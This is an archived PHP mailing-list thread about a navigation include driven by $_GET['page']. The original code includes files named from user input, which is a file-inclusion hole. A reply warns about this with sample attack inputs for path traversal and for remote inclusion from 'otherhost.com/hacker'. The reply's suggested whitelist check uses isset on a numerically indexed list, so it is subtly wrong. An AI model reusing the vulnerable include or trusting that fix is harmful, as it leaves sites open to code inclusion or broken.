Re: navigation include not functioning

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



On Wed, 05 Aug 2009 20:19:00 +0300, Allen McCabe <allenmccabe@xxxxxxxxx> wrote:

Sure.

When I load my site, default.php loads ( displaying:
http://uplinkdesign.hostzi.com/ in the browser as expected). $thisPage is
set to "about" via:

<?php
if (!isset($thisPage)) {
 $thisPage="about";
 } else {
 $thisPage = addslashes($_GET['page']);
 }
?>

in the <head> tags.


I am seeing this:

The first 2 includes work just fine, loading to proper middle section and
proper right-hand-side page content, the navigation include also loads, but all the of "tabs" (background images) are the currentpage image, as opposed
to not, as they should be (the the exception of the About Us background
image).

It seems that $thisPage is equal to all four values, so all the if
statements within navigation tell PHP to load the current page image for all
4 links.

Does this help?

Looks like you need something like that:
$pages	= array(
// list of modules you have, for example:
 'about' , 'help', etc
);
$page = isset($_GET['page']) && isset($pages[$_GET['page']]) ? $_GET['page'] : 'about';
// about is default page here

then just:
include 'modules/'.$page.'.php';

Always remember that you have to check what is included.
Best approach(if possible) to have a predefined list of all modules which can be included.

Else, there is some nasty things like:
?page=../index.php
(infinity recurssion)

?page=http://otherhost.com/hacker.
(inclusion of malicious script)
and so on.




On Wed, Aug 5, 2009 at 10:10 AM, Jerry Wilborn <jerrywilborn@xxxxxxxxx>wrote:

Look

I'm having trouble understanding your description of the problem. Can you
tell us what you're seeing and what you expect to see?
Jerry Wilborn
jerrywilborn@xxxxxxxxx



On Wed, Aug 5, 2009 at 12:00 PM, Allen McCabe <allenmccabe@xxxxxxxxx>wrote:

I am trying to generate pages by importing content in includes, and using
my
navigation include to tell PHP to replace a $thisPage variable which all
the
includes use <?php include('phpincludes/' . $thisPage . '.php') ?>

The idea behind it (I know tons of people do it, but I'm new to this
concept), is to have a 'layout' page where only a variable changes using $_GET on an href (index.php?page=services or index.php?page=about) to load
the new 'pages'.

PROBLEM:
All my links are displaying the current page state, and links are not
building around the link text (hrefs are built conditionally with if
$thisPage != services then build the link, otherwise leave it as normal
text). Same thing with the background image behind the link text (to
indicate a page's current position). If the condition is not true, all the links (except the true current 'page') are supposed reload index.php and
pass a variable to itself to place into $thisPage using
href="index.php?page=" (after which I have a variable which stores "about"
or "services" within the if statement near the link text.

If this sounds like something you are familiar with (former issues and
whatnot) please let me know what I'm doing wrong. I would be happy to give you any code you want to look at (index.php or navigation.php, whatever).

Thanks again for your help PHP gurus!








--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[Index of Archives]     [PHP Home]     [Apache Users]     [PHP on Windows]     [Kernel Newbies]     [PHP Install]     [PHP Classes]     [Pear]     [Postgresql]     [Postgresql PHP]     [PHP on Windows]     [PHP Database Programming]     [PHP SOAP]

  Powered by Linux